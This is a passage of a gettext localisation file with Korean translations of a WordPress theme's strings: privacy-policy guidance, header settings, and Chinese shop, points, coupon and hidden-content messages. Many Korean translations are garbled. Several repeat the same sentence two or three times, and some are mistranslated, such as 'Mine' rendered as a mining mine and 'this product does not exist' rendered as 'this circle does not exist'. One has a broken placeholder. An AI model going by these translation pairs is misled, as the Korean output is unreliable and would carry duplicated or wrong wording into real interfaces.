"transferred outside the European Union to be safeguarded to the same "
"standards as if the data was in Europe. So in addition to listing where data "
"goes, you should describe how you ensure that these standards are met either "
"by yourself or by your third party providers, whether that is through an "
"agreement such as Privacy Shield, model clauses in your contracts, or "
"binding corporate rules."
msgstr ""
"유럽 데이터 보호법은 유럽 연합 외부로 전송되는 유럽 거주자에 대한 데이터를 유"
"럽에 있는 데이터와 동일한 기준으로 보호하도록 요구합니다. 따라서 데이터의 이"
"동 경로를 나열하는 것 외에도 프라이버시 실드, 데이터 모델 조항 등의 계약을 통"
"해 직접 또는 제3자 제공업체가 이러한 기준을 충족하도록 보장하는 방법을 설명해"
"야 합니다. 따라서 데이터가 어디로 이동하는지 나열하는 것 외에도 프라이버시 실"
"드와 같은 계약, 계약의 모범 조항, 구속력 있는 조항 등 귀사 또는 제3자 제공업"
"체가 이러한 표준을 충족하도록 보장하는 방법을 설명해야 합니다. 프라이버시 실"
"드와 같은 계약, 계약의 모범 조항, 구속력 있는 기업 규정 등 귀사 또는 제3자 제"
"공업체가 이러한 표준을 충족하도록 보장하는 방법을 설명해야 합니다."

#. translators: Default privacy policy text.
#: Modules/Common/Private/normal/domain.php:786
msgid ""
"Visitor comments may be checked through an automated spam detection service."
msgstr "방문자 댓글은 자동 스팸 탐지 서비스를 통해 확인할 수 있습니다."

#. translators: Default privacy policy heading.
#: Modules/Common/Private/normal/domain.php:791
msgid "Contact information"
msgstr "연락처 정보"

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:793
msgid ""
"In this section you should provide a contact method for privacy-specific "
"concerns. If you are required to have a Data Protection Officer, list their "
"name and full contact details here as well."
msgstr ""
"이 섹션에서는 개인정보 관련 우려 사항에 대한 연락 방법을 제공해야 합니다. 데"
"이터 보호 책임자를 두어야 하는 경우 해당 책임자의 이름을 기재합니다. 데이터 "
"보호 책임자를 두어야 하는 경우 여기에 책임자의 이름과 전체 연락처 정보도 기재"
"하세요."

#. translators: Default privacy policy heading.
#: Modules/Common/Private/normal/domain.php:798
msgid "Additional information"
msgstr "추가 정보"

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:800
msgid ""
"If you use your site for commercial purposes and you engage in more complex "
"collection or processing of personal data, you should note the following "
"information in your privacy policy in addition to the information we have "
"already discussed."
msgstr ""
"상업적 목적으로 사이트를 이용하고 더 복잡한 개인 데이터 수집 또는 처리에 관여"
"하는 경우 다음 사항에 유의해야 합니다. 이미 설명한 정보 외에 개인정보처리방침"
"의 정보."

#. translators: Default privacy policy heading.
#: Modules/Common/Private/normal/domain.php:805
msgid "How we protect your data"
msgstr "데이터 보호 방법"

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:807
msgid ""
"In this section you should explain what measures you have taken to protect "
"your users&#8217; data. This could include technical measures such as "
"encryption; security measures such as two factor authentication; and "
"measures such as staff training in data protection. If you have carried out "
"a Privacy Impact Assessment, you can mention it here too."
msgstr ""
"이 섹션에서는 사용자의 데이터를 보호하기 위해 어떤 조치를 취했는지 설명해야 "
"합니다. 여기에는 다음과 같은 기술적 조치가 포함될 수 있습니다. 여기에는 암호"
"화와 같은 기술적 조치, 2단계 인증과 같은 보안 조치, 데이터 보호에 대한 직원 "
"교육과 같은 조치가 포함될 수 있습니다. 여기에는 암호화와 같은 기술적 조치, 2"
"단계 인증과 같은 보안 조치, 데이터 보호에 대한 직원 교육과 같은 조치가 포함"
"될 수 있습니다."

#. translators: Default privacy policy heading.
#: Modules/Common/Private/normal/domain.php:812
msgid "What data breach procedures we have in place"
msgstr "당사가 시행하고 있는 데이터 유출 절차"

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:814
msgid ""
"In this section you should explain what procedures you have in place to deal "
"with data breaches, either potential or real, such as internal reporting "
"systems, contact mechanisms, or bug bounties."
msgstr ""
"이 섹션에서는 내부 보고 시스템, 연락 메커니즘, 버그 포상금 등 잠재적 또는 실"
"제 데이터 침해에 대처하기 위해 어떤 절차를 마련하고 있는지 설명해야 합니다. "
"이 섹션에서는 내부 보고 시스템, 연락 메커니즘, 버그 포상금 등 잠재적이든 실제"
"든 데이터 침해에 대처하기 위해 어떤 절차를 마련했는지 설명해야 합니다."

#. translators: Default privacy policy heading.
#: Modules/Common/Private/normal/domain.php:819
msgid "What third parties we receive data from"
msgstr "당사가 데이터를 수신하는 제3자"

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:821
msgid ""
"If your web site receives data about users from third parties, including "
"advertisers, this information must be included within the section of your "
"privacy policy dealing with third party data."
msgstr ""
"웹사이트가 광고주를 포함한 제3자로부터 사용자에 대한 데이터를 수신하는 경우, "
"이 정보는 반드시 웹사이트의 개인정보 처리방침 섹션에 포함되어야 합니다."

#. translators: Default privacy policy heading.
#: Modules/Common/Private/normal/domain.php:826
msgid "What automated decision making and/or profiling we do with user data"
msgstr "사용자 데이터로 수행하는 자동화된 의사 결정 및/또는 프로파일링 작업"

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:828
msgid ""
"If your web site provides a service which includes automated decision making "
"- for example, allowing customers to apply for credit, or aggregating their "
"data into an advertising profile - you must note that this is taking place, "
"and include information about how that information is used, what decisions "
"are made with that aggregated data, and what rights users have over "
"decisions made without human intervention."
msgstr ""
"웹 사이트에서 자동화된 의사 결정이 포함된 서비스를 제공하는 경우(예: 고객의 "
"크레딧 신청 허용 또는 고객의 데이터를 광고 프로필에 집계), 이러한 서비스가 어"
"떻게 이루어지는지에 대한 정보를 포함해야 합니다. 웹사이트가 자동화된 의사 결"
"정을 포함하는 서비스(예: 고객의 신용 신청 허용 또는 고객의 데이터를 광고 프로"
"필에 집계)를 제공하는 경우, 해당 정보가 사용되는 방식, 의사 결정에 대한 정보"
"를 포함해야 합니다. 이러한 작업이 수행되고 있음을 명시하고 해당 정보가 어떻"
"게 사용되는지, 집계된 데이터로 어떤 결정을 내리는지, 사람의 개입 없이 이루어"
"진 결정에 대해 사용자가 어떤 권리를 갖는지 등에 대한 정보를 포함해야 합니다."

#. translators: Default privacy policy heading.
#: Modules/Common/Private/normal/domain.php:833
msgid "Industry regulatory disclosure requirements"
msgstr "업계 규제 공개 요건"

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:835
msgid ""
"If you are a member of a regulated industry, or if you are subject to "
"additional privacy laws, you may be required to disclose that information "
"here."
msgstr ""
"규제 대상 업계의 회원님이거나 추가 개인정보 보호법의 적용을 받는 경우 여기에"
"서 해당 정보를 공개해야 할 수 있습니다."

#: Modules/Common/Private/normal/filter.php:55
msgid "Overview"
msgstr "개요"

#: Modules/Common/Private/normal/filter.php:57
msgid "This screen is used to customize the header section of your theme."
msgstr "이 화면은 테마의 헤더 섹션을 사용자 정의하는 데 사용됩니다."

#: Modules/Common/Private/normal/filter.php:58
msgid ""
"You can choose from the theme&#8217;s default header images, or use one of "
"your own. You can also customize how your Site Title and Tagline are "
"displayed."
msgstr ""
"테마의 기본 헤더 이미지 중에서 선택하거나 직접 만든 이미지를 사용할 수 있습니"
"다. 사이트 제목 및 태그 라인이 표시되는 방식을 사용자 정의할 수도 있습니다. "
"사이트 제목 및 태그 라인이 표시되는 방식을 사용자 정의할 수도 있습니다."

#: Modules/Common/Private/normal/filter.php:65
msgid "Header Image"
msgstr "헤더 이미지"

#: Modules/Common/Private/normal/filter.php:67
msgid ""
"You can set a custom image header for your site. Simply upload the image and "
"crop it, and the new header will go live immediately. Alternatively, you can "
"use an image that has already been uploaded to your Media Library by "
"clicking the &#8220;Choose Image&#8221; button."
msgstr ""
"사이트에 사용자 정의 이미지 헤더를 설정할 수 있습니다. 이미지를 업로드하고 자"
"르기만 하면 새 헤더가 즉시 적용됩니다. 또는 다음 방법을 사용할 수 있습니다. "
"또는 '이미지 선택' 버튼을 클릭하여 미디어 라이브러리에 이미 업로드된 이미지"
"를 사용할 수 있습니다."

#: Modules/Common/Private/normal/filter.php:68
msgid ""
"Some themes come with additional header images bundled. If you see multiple "
"images displayed, select the one you would like and click the &#8220;Save "
"Changes&#8221; button."
msgstr ""
"일부 테마에는 추가 헤더 이미지가 번들로 제공됩니다. 여러 개의 이미지가 표시되"
"는 경우 원하는 이미지를 선택하고 \" 변경 사항 저장\" 버튼을 클릭합니다."

#: Modules/Common/Private/normal/filter.php:69
msgid ""
"If your theme has more than one default header image, or you have uploaded "
"more than one custom header image, you have the option of having WordPress "
"display a randomly different image on each page of your site. Click the "
"&#8220;Random&#8221; radio button next to the Uploaded Images or Default "
"Images section to enable this feature."
msgstr ""
"테마에 기본 헤더 이미지가 두 개 이상 있거나 사용자 정의 헤더 이미지를 두 개 "
"이상 업로드한 경우 워드프레스에서 다음과 같은 옵션을 표시할 수 있습니다. 테마"
"에 기본 헤더 이미지가 두 개 이상 있거나 사용자 정의 헤더 이미지를 두 개 이상 "
"업로드한 경우 사이트의 각 페이지에 무작위로 다른 이미지를 표시하도록 워드프레"
"스에서 선택할 수 있습니다. 업로드된 이미지 또는 기본 이미지 섹션 옆의 \"무작"
"위\" 라디오 버튼을 클릭하여 이 기능을 활성화합니다. 이미지 섹션 옆에 있는 "
"\"무작위\" 라디오 버튼을 클릭하여 이 기능을 활성화합니다."

#: Modules/Common/Private/normal/filter.php:70
msgid ""
"If you do not want a header image to be displayed on your site at all, click "
"the &#8220;Remove Header Image&#8221; button at the bottom of the Header "
"Image section of this page. If you want to re-enable the header image later, "
"you just have to select one of the other image options and click &#8220;Save "
"Changes&#8221;."
msgstr ""
"사이트에 헤더 이미지를 전혀 표시하지 않으려면 이 페이지의 헤더 이미지 섹션 하"
"단에 있는 \"헤더 이미지 제거\" 버튼을 클릭합니다. 사이트에 헤더 이미지를 전"
"혀 표시하지 않으려면 이 페이지의 헤더 이미지 섹션 하단에 있는 \"헤더 이미지 "
"제거\" 버튼을 클릭합니다. 나중에 헤더 이미지를 다시 사용하려면 다른 이미지 옵"
"션 중 하나를 선택한 후 \"변경 사항 저장\"을 클릭하기만 하면 됩니다. \"변경사"
"항 저장\"을 클릭합니다."

#: Modules/Common/Private/normal/filter.php:79
msgid "Header Text"
msgstr "헤더 텍스트"

#. translators: %s: URL to General Settings screen.
#: Modules/Common/Private/normal/filter.php:83
#, php-format
msgid ""
"For most themes, the header text is your Site Title and Tagline, as defined "
"in the <a href=\"%s\">General Settings</a> section."
msgstr ""
"대부분의 테마에서 헤더 텍스트는 <a href=\"%s\">일반 설정</a> 섹션에 정의된 대"
"로 사이트 제목 및 태그 라인입니다."

#: Modules/Common/Private/normal/filter.php:87
msgid ""
"In the Header Text section of this page, you can choose whether to display "
"this text or hide it. You can also choose a color for the text by clicking "
"the Select Color button and either typing in a legitimate HTML hex value, "
"e.g. &#8220;#ff0000&#8221; for red, or by choosing a color using the color "
"picker."
msgstr ""
"이 페이지의 헤더 텍스트 섹션에서 이 텍스트를 표시할지 숨길지 선택할 수 있습니"
"다. 색상 선택 버튼을 클릭하여 텍스트의 색상을 선택할 수도 있습니다. 색상 버튼"
"을 클릭하고 정상적인 HTML 16진수 값(예: 빨간색의 경우 \"#ff0000\")을 입력하거"
"나 색상 선택기를 사용하여 색상을 선택할 수도 있습니다."

#: Modules/Common/Private/normal/filter.php:88
msgid "Do not forget to click &#8220;Save Changes&#8221; when you are done!"
msgstr "완료되면 \"변경 사항 저장\"을 클릭하는 것을 잊지 마세요!"

#: Modules/Common/Private/normal/filter.php:93
msgid "For more information:"
msgstr "자세한 내용을 확인하세요."

#: Modules/Common/Private/normal/filter.php:94
msgid ""
"<a href=\"https://codex.wordpress.org/"
"Appearance_Header_Screen\">Documentation on Custom Header</a>"
msgstr ""
"<a href=\"https://codex.wordpress.org/Appearance_Header_Screen\">사용자 정의 "
"헤더에 대한 문서</a>"

#: Modules/Common/Private/normal/filter.php:95
msgid "<a href=\"https://wordpress.org/support/forums/\">Support forums</a>"
msgstr "<a href=\"https://wordpress.org/support/forums/\">지원 포럼</a>"

#: Modules/Common/Private/normal/filter.php:283
msgid "<strong>Random:</strong> Show a different image on each page."
msgstr "<strong>무작위:</strong> 각 페이지에 다른 이미지를 표시합니다."

#: Modules/Common/Private/normal/filter.php:643
#, php-format
msgctxt "posts"
msgid "Mine <span class=\"count\">(%s)</span>"
msgid_plural "Mine <span class=\"count\">(%s)</span>"
msgstr[0] "광산 <span class=\"count\">( %s</span> )"

#: Modules/Common/Private/normal/filter.php:664
#, php-format
msgctxt "posts"
msgid "All <span class=\"count\">(%s)</span>"
msgid_plural "All <span class=\"count\">(%s)</span>"
msgstr[0] "모두 <span class=\"count\">( %s</span> )"

#: Modules/Common/Private/normal/filter.php:723
#, php-format
msgctxt "posts"
msgid "Sticky <span class=\"count\">(%s)</span>"
msgid_plural "Sticky <span class=\"count\">(%s)</span>"
msgstr[0] "스티커 <span class=\"count\">( %s</span> )"

#: Modules/Common/Private/normal/filter.php:759
msgid "Restore"
msgstr "복원"

#: Modules/Common/Private/normal/filter.php:767
msgid "Delete permanently"
msgstr "영구 삭제"

#: Modules/Common/Private/normal/filter.php:769
msgid "Move to Trash"
msgstr "휴지통으로 이동"

#. translators: %s: hostname:port
#: Modules/Common/Private/normal/loader.php:44
#: Modules/Common/Private/normal/loader.php:57
#, php-format
msgid "Failed to connect to FTP Server %s"
msgstr "FTP 서버에 연결하지 못했습니다 %s."

#. translators: %s: Username.
#: Modules/Common/Private/normal/loader.php:70
#, php-format
msgid "Username/Password incorrect for %s"
msgstr "0]에 대한 사용자 이름/비밀번호가 잘못되었습니다."

#: Modules/Common/Private/normal/private.php:324
#, fuzzy
#| msgid "每天只允许充值2次"
msgid "每天只允许购买积分2次"
msgstr "하루에 2번만 충전할 수 있습니다."

#: Modules/Common/Private/normal/private.php:329
#, fuzzy, php-format
#| msgid "每次充值不能超过%s元"
msgid "每次购买不能超过%s元"
msgstr "각 충전 금액은 $%s을 초과할 수 없습니다."

#: Modules/Common/Private/normal/private.php:2720
msgid "本地请使用登记的虚拟域名进行激活"
msgstr "로컬 활성화의 경우 등록된 가상 도메인 이름을 사용하세요."

#: Modules/Common/Recaptcha.php:42
#, fuzzy
msgid "请正确安装jwt插件"
msgstr "jwt 플러그인을 올바르게 설치하십시오"

#: Modules/Common/Report.php:23
#, fuzzy
msgid "请输入举报类型和内容"
msgstr "보고서의 유형과 내용을 입력하세요."

#: Modules/Common/Report.php:62
#, fuzzy
msgid "举报失败"
msgstr "신고 실패"

#: Modules/Common/RestApi.php:1832 Modules/Common/RestApi.php:1922
#: Modules/Common/RestApi.php:2199 Modules/Common/RestApi.php:2222
#: Modules/Common/RestApi.php:2358 Modules/Common/RestApi.php:2384
#: Modules/Common/RestApi.php:2436 Modules/Common/RestApi.php:2725
msgid "点的太快啦！"
msgstr "너무 빨리 주문 했어요!"

#: Modules/Common/RestApi.php:1929
msgid "邀请码可用"
msgstr "초대장 사용 가능"

#: Modules/Common/RestApi.php:2154 Modules/Common/User.php:1959
msgid "数据错误"
msgstr "데이터 오류"

#: Modules/Common/RestApi.php:2286 Modules/Common/RestApi.php:2334
#: Modules/Common/RestApi.php:2339 Modules/Templates/Footer.php:694
#: Modules/Templates/Header.php:827 Modules/Templates/Single.php:245
#: Modules/Templates/VueTemplates.php:102
#: Modules/Templates/Widgets/Author.php:219
#: Modules/Templates/Widgets/Author.php:242
#: Modules/Templates/Widgets/User.php:209 Pages/circle-users.php:42
#: Search/user.php:79 Search/user.php:88 TempParts/Ask/answer-archive.php:60
#: TempParts/Single/content-post-style-2.php:90
#: TempParts/Single/content-post-style-3.php:66
#: TempParts/Single/content-post-style-4.php:84 TempParts/Single/content.php:64
#: TempParts/single-answer.php:38 TempParts/single-attachment.php:40
#: TempParts/single-infomation.php:59 TempParts/single-newsflashes.php:46
#: User/index.php:205 author.php:108 functions.php:2047 single-ask.php:74
#: single-ask.php:217
msgid "关注"
msgstr "구독"

#: Modules/Common/RestApi.php:2287 Modules/Common/RestApi.php:2335
#: Modules/Templates/Footer.php:698 Modules/Templates/Header.php:831
#: Modules/Templates/Widgets/Author.php:223
#: Modules/Templates/Widgets/User.php:214 Search/user.php:75 User/index.php:220
#: author.php:117 functions.php:2048
msgid "粉丝"
msgstr "구독자"

#: Modules/Common/RestApi.php:2291 Modules/Templates/Single.php:244
#: Modules/Templates/Widgets/Author.php:241 Pages/ask-people.php:38
#: Pages/circle-people.php:36 Pages/infomation-people.php:38
#: TempParts/Single/content-post-style-2.php:89
#: TempParts/Single/content-post-style-3.php:65
#: TempParts/Single/content-post-style-4.php:83 TempParts/Single/content.php:63
#: TempParts/single-answer.php:37 TempParts/single-attachment.php:39
#: TempParts/single-infomation.php:58 TempParts/single-newsflashes.php:45
#: author.php:57 single-ask.php:73
msgid "取消关注"
msgstr "구독해제"

#: Modules/Common/RestApi.php:2339 Modules/Settings/Verify.php:266
#: Modules/Settings/VerifyListTable.php:42
#: Modules/Templates/VueTemplates.php:101 Pages/circle-users.php:41
#: Pages/verify.php:111 Search/user.php:87 TempParts/Ask/answer-archive.php:60
#: single-ask.php:217
msgid "已关注"
msgstr "구독 중"

#: Modules/Common/RestApi.php:2419
msgid "取消收藏"
msgstr "찜 해제"

#: Modules/Common/RestApi.php:3618
msgid "无权查看评论"
msgstr "댓글을 볼 수있는 권한이 없습니다."

#: Modules/Common/Shop.php:67
msgid "传入参数过多"
msgstr "들어오는 매개 변수가 너무 많습니다."

#: Modules/Common/Shop.php:90
msgid "不存在此商品"
msgstr "이 서클은 존재하지 않습니다."

#: Modules/Common/Shop.php:206 Modules/Common/Shop.php:407
msgid "限购商品"
msgstr "제한 상품"

#: Modules/Common/Shop.php:220 Modules/Common/Shop.php:460
msgid "售罄"
msgstr "품절"

#: Modules/Common/Shop.php:233 Modules/Common/Shop.php:467
#: Modules/Templates/Single.php:888
msgid "立刻购买"
msgstr "즉시 구매"

#: Modules/Common/Shop.php:329 Modules/Common/Shop.php:539
msgid "会员价"
msgstr "회원가"

#: Modules/Common/Shop.php:329 Modules/Common/Shop.php:539
#, php-format
msgid "%s折"
msgstr "%s 할인"

#: Modules/Common/Shop.php:478
msgid "结束"
msgstr "종료"

#: Modules/Common/Shop.php:486 Modules/Common/Shop.php:618
#: Modules/Common/Shop.php:738 Modules/Common/Shortcode.php:701
#: Modules/Common/Shortcode.php:1412 Modules/Templates/Modules/Products.php:36
#: Modules/Templates/Modules/Products.php:37 Modules/Templates/Single.php:1098
#: Modules/Templates/Widgets/Products.php:65
#: Modules/Templates/Widgets/Products.php:316
#: TempParts/Shop/item-lottery.php:38
msgid "抽奖"
msgstr "추첨"

#: Modules/Common/Shop.php:495
msgid "完毕"
msgstr "완료"

#: Modules/Common/Shop.php:502 Modules/Common/Shop.php:618
#: Modules/Common/Shortcode.php:701 Modules/Common/Shortcode.php:1412
#: Modules/Templates/Modules/Products.php:42
#: Modules/Templates/Modules/Products.php:43 Modules/Templates/Single.php:987
#: Modules/Templates/Widgets/Products.php:64
#: Modules/Templates/Widgets/Products.php:211
#: Modules/Templates/Widgets/Products.php:316
#: TempParts/Shop/item-exchange.php:38
msgid "兑换"
msgstr "교환"

#: Modules/Common/Shop.php:618 Modules/Settings/Shop.php:224
#: Modules/Settings/Shop.php:637 Modules/Templates/Modules/Products.php:31
#: Modules/Templates/Single.php:876 Modules/Templates/Widgets/Products.php:63
#: Modules/Templates/Widgets/Products.php:211 TempParts/Shop/item-normal.php:44
#: functions.php:2210 functions.php:2255
msgid "购买"
msgstr "구매"

#: Modules/Common/Shop.php:735
msgid "商品类型错误"
msgstr "제품 유형 오류"

#: Modules/Common/Shop.php:745
msgid "您的积分余额不足"
msgstr "포인트 잔액이 부족합니다."

#: Modules/Common/Shop.php:907
msgid "：请查收您的商品信息"
msgstr ": 상품 정보를 확인하세요."

#: Modules/Common/Shop.php:917
msgid "您在本站购买的商品信息如下："
msgstr "이 사이트에서 구입 한 제품 정보는 다음과 같습니다."

#: Modules/Common/Shop.php:919
msgid "商品："
msgstr "상품"

#: Modules/Common/Shop.php:920 Modules/Settings/Orders.php:958
#: User/orders.php:16
msgid "订单号："
msgstr "주문번호:"

#: Modules/Common/Shop.php:921 User/orders.php:53
msgid "数量："
msgstr "수량："

#: Modules/Common/Shop.php:960
msgid "您已成功购买过此商品，请注意查收！"
msgstr "이 제품을 성공적으로 구입했습니다. 확인하십시오!"

#: Modules/Common/Shop.php:1082
msgid "这个不是商品"
msgstr "이것은 제품이 아닙니다"

#: Modules/Common/Shop.php:1101 functions.php:2283
msgid "库存不足"
msgstr "재고 부족"

#: Modules/Common/Shortcode.php:120 Modules/Templates/VueTemplates.php:536
msgid "金额"
msgstr "금액"

#: Modules/Common/Shortcode.php:121 Modules/Common/Shortcode.php:135
#: Pages/po-infomation.php:79
msgid "元"
msgstr "총"

#: Modules/Common/Shortcode.php:123
msgid "请选择金额"
msgstr "금액을 선택하세요"

#: Modules/Common/Shortcode.php:134 Modules/Templates/VueTemplates.php:562
#: Modules/Templates/VueTemplates.php:563
msgid "请输入金额"
msgstr "금액을 직접 입력하세요"

#: Modules/Common/Shortcode.php:171
#, fuzzy
msgid "请正确填写待选值"
msgstr "선택할 값을 올바르게 입력하십시오."

#: Modules/Common/Shortcode.php:179
msgid "请填写设置项"
msgstr "설정을 채워주세요"

#: Modules/Common/Shortcode.php:203 Modules/Common/Shortcode.php:978
#: Modules/Common/Shortcode.php:1036 Modules/Common/Shortcode.php:1037
#: Modules/Settings/Normal.php:2100 Modules/Templates/VueTemplates.php:562
#: Modules/Templates/VueTemplates.php:563
#: Modules/Templates/VueTemplates.php:831 Pages/carts.php:121
#: Pages/po-infomation.php:66 Pages/verify.php:133
#: TempParts/circle/circle-topic-content.php:62
#: TempParts/circle/circle-topic-content.php:72
#: TempParts/circle/circle-topic-content.php:394
msgid "支付"
msgstr "결제"

#: Modules/Common/Shortcode.php:214
msgid "结果"
msgstr "종료"

#: Modules/Common/Shortcode.php:361
msgid "选择文件"
msgstr "파일 선택"

#: Modules/Common/Shortcode.php:361
#, php-format
msgid "最多%s个"
msgstr "최대 %s"

#: Modules/Common/Shortcode.php:371
msgid "上传成功，请稍后"
msgstr "성공적으로 업로드되었습니다. 잠시만 기다려 주십시오."

#: Modules/Common/Shortcode.php:496 Modules/Templates/Footer.php:567
#: Modules/Templates/Modules/Products.php:152
msgid "限制商品"
msgstr "제한된 상품"

#: Modules/Common/Shortcode.php:505 Modules/Templates/Footer.php:568
#: Modules/Templates/Modules/Products.php:162
msgid "限制商品分类"
msgstr "제한된 제품 분류"

#: Modules/Common/Shortcode.php:511 Modules/Templates/Footer.php:569
#: Modules/Templates/Modules/Products.php:168
msgid "不限制使用"
msgstr "무제한 사용 :"

#: Modules/Common/Shortcode.php:513 Modules/Templates/Footer.php:599
#: Modules/Templates/Modules/Products.php:170
msgid "所有商品和商品类型均可使用"
msgstr "모든 상품과 상품 유형에 사용 가능"

#: Modules/Common/Shortcode.php:522 Modules/Templates/Modules/Products.php:179
msgid "任何人都可以使用"
msgstr "누구나 사용 가능"

#: Modules/Common/Shortcode.php:527 Modules/Common/Shortcode.php:531
#: Modules/Templates/Modules/Products.php:184
#: Modules/Templates/Modules/Products.php:188
msgid "领取时间"
msgstr "수령 시간"

#: Modules/Common/Shortcode.php:527 Modules/Templates/Modules/Products.php:184
msgid "无法领取"
msgstr "수령기간이 지나 수령이 불가능합니다."

#: Modules/Common/Shortcode.php:531 Modules/Templates/Modules/Products.php:188
msgid "随时领取"
msgstr "수시 수령"

#: Modules/Common/Shortcode.php:533 Modules/Templates/Modules/Products.php:190
msgid "领取时间截止到"
msgstr "수령 기간은"

#: Modules/Common/Shortcode.php:539 Modules/Common/Shortcode.php:541
#: Modules/Templates/Footer.php:573 Modules/Templates/Footer.php:574
#: Modules/Templates/Footer.php:575 Modules/Templates/Modules/Products.php:196
#: Modules/Templates/Modules/Products.php:198 Pages/carts.php:101
#: Pages/carts.php:102 Pages/carts.php:103
msgid "使用时效："
msgstr "사용기간:"

#: Modules/Common/Shortcode.php:539 Modules/Templates/Modules/Products.php:196
msgid "天内使用有效"
msgstr "일 내 사용이 유효합니다."

#: Modules/Common/Shortcode.php:556 Modules/Templates/Modules/Products.php:213
msgid "已经过期"
msgstr "만료 됨"

#: Modules/Common/Shortcode.php:556 Modules/Templates/Modules/Products.php:213
msgid "立刻领取"
msgstr "즉시수령"

#: Modules/Common/Shortcode.php:558 Modules/Templates/Modules/Products.php:215
msgid "查看详情"
msgstr "자세한 내용보기"

#: Modules/Common/Shortcode.php:560 Modules/Templates/Footer.php:583
#: Modules/Templates/Modules/Products.php:217
msgid "优惠劵ID："
msgstr "할인쿠폰 ID:"

#: Modules/Common/Shortcode.php:566 Modules/Templates/Modules/Products.php:223
msgid "限制用户组"
msgstr "限制用户组"

#: Modules/Common/Shortcode.php:649 Modules/Common/Shortcode.php:1360
msgid "喜欢："
msgstr "좋아요"

#: Modules/Common/Shortcode.php:652
msgid "访问："
msgstr "질문:"

#: Modules/Common/Shortcode.php:701 Modules/Common/Shortcode.php:1412
msgid "出售"
msgstr "판매"

#: Modules/Common/Shortcode.php:702 Modules/Settings/Orders.php:1018
#: Modules/Settings/Orders.php:1022 Modules/Templates/Footer.php:746
#: Modules/Templates/Single.php:918 Modules/Templates/Single.php:1014
msgid "积分："
msgstr "포인트:"

#: Modules/Common/Shortcode.php:715 Modules/Common/Shortcode.php:1425
#: Modules/Templates/Modules/Products.php:59
#: TempParts/Shop/item-exchange.php:45 TempParts/Shop/item-lottery.php:45
#: TempParts/Shop/item-normal.php:48
msgid "库存："
msgstr "재고: "

#: Modules/Common/Shortcode.php:718 Modules/Common/Shortcode.php:1428
#: TempParts/Shop/item-normal.php:49
msgid "已售："
msgstr "판매: "

#: Modules/Common/Shortcode.php:721 Modules/Common/Shortcode.php:1431
#: Modules/Templates/Modules/Products.php:60
#: TempParts/Shop/item-exchange.php:47 TempParts/Shop/item-lottery.php:47
#: TempParts/Shop/item-normal.php:50
msgid "人气："
msgstr "인기: "

#: Modules/Common/Shortcode.php:736 Modules/Common/Shortcode.php:1446
msgid "无标题的话题"
msgstr "제목없는 주제"

#: Modules/Common/Shortcode.php:739 Modules/Common/Shortcode.php:1450
#: functions.php:653 functions.php:654 functions.php:664
#, php-format
msgid "%s话题"
msgstr "%s 주제"

#: Modules/Common/Shortcode.php:818 Modules/Templates/Header.php:923
#: Modules/Templates/Single.php:134 Modules/Templates/Single.php:553
#: Modules/Templates/Single.php:563 Modules/Templates/VueTemplates.php:178
#: Modules/Templates/VueTemplates.php:194
#: Modules/Templates/VueTemplates.php:241
#: Modules/Templates/Widgets/Download.php:190
#: Modules/Templates/Widgets/User.php:230
#: Modules/Templates/Widgets/User.php:234 Pages/download.php:72
#: Pages/link-register.php:16 Pages/po-ask.php:15
#: TempParts/circle/circle-comment-and-answer.php:14
#: TempParts/circle/circle-comment-and-answer.php:51
#: TempParts/circle/circle-form.php:106 TempParts/circle/circle-form.php:464
#: TempParts/circle/circle-topic-content.php:100 comments.php:49
#: functions.php:2197 single-ask.php:273
msgid "登录"
msgstr "로그인"

#: Modules/Common/Shortcode.php:819 Modules/Templates/VueTemplates.php:180
#: Modules/Templates/VueTemplates.php:240
msgid "注册"
msgstr "가입"

#: Modules/Common/Shortcode.php:850
msgid "小黑屋禁闭"
msgstr "검은 집 감금 해제"

#: Modules/Common/Shortcode.php:851
msgid "无法查看隐藏内容"
msgstr "숨겨진 콘텐츠보기 :"

#: Modules/Common/Shortcode.php:854
msgid "小黑屋思过中..."
msgstr "작은 검은 집이 그것에 대해 생각하고 있으므로 확인하십시오!"

#: Modules/Common/Shortcode.php:871
#: TempParts/circle/circle-topic-content.php:94
msgid "隐藏内容，登录后阅读"
msgstr "콘텐츠 읽기 권한 숨기기"

#: Modules/Common/Shortcode.php:872
msgid "若无账户，请先注册"
msgstr "계정이없는 경우 먼저 등록하십시오"

#: Modules/Common/Shortcode.php:892
#: TempParts/circle/circle-topic-content.php:108
msgid "隐藏内容，评论后阅读"
msgstr "콘텐츠 읽기 권한 숨기기"

#: Modules/Common/Shortcode.php:893
msgid "评论后，请刷新页面"
msgstr "다운로드하려면 댓글 후 페이지 새로 고침"

#: Modules/Common/Shortcode.php:925
#: TempParts/circle/circle-topic-content.php:78
msgid "隐藏内容，仅限以下用户组阅读"
msgstr "다음 사용자 그룹을 읽을 수 있도록 제한"

#: Modules/Common/Shortcode.php:927
msgid "如果您未在其中，可以升级"
msgstr "당신이 거기에 없다면, 당신은 업그레이드 할 수 있습니다"

#: Modules/Common/Shortcode.php:934
msgid "立刻升级"
msgstr "바로 가입하기"

#: Modules/Common/Shortcode.php:986
msgid "隐藏内容，支付费用后阅读"
msgstr "콘텐츠 읽기 권한 숨기기"

#: Modules/Common/Shortcode.php:986 Modules/Common/Shortcode.php:1026
#, php-format
msgid "购买完%s小时后过期"
msgstr "%s 시간 후에 만료됩니다."

#: Modules/Common/Shortcode.php:988 Modules/Common/Shortcode.php:1027
#, php-format
msgid "已经有%s人购买查看了此内容"
msgstr "%s 명의 사용자가 이미이 숨겨진 콘텐츠를 구매했습니다."

#: Modules/Common/Shortcode.php:1026
msgid "隐藏内容，支付积分后阅读"
msgstr "콘텐츠 읽기 권한 숨기기"

#: Modules/Common/Shortcode.php:1087 User/orders.php:103
msgid "没有数据"
msgstr "데이터가 없습니다."

#: Modules/Common/Shortcode.php:1227 Modules/Common/Shortcode.php:1257
msgid "提取码："
msgstr "추출암호:"

#: Modules/Common/Shortcode.php:1227 Modules/Common/Shortcode.php:1230
#: Modules/Templates/VueTemplates.php:84
msgid "复制"
msgstr "복사"

#: Modules/Common/Shortcode.php:1227 Modules/Common/Shortcode.php:1230
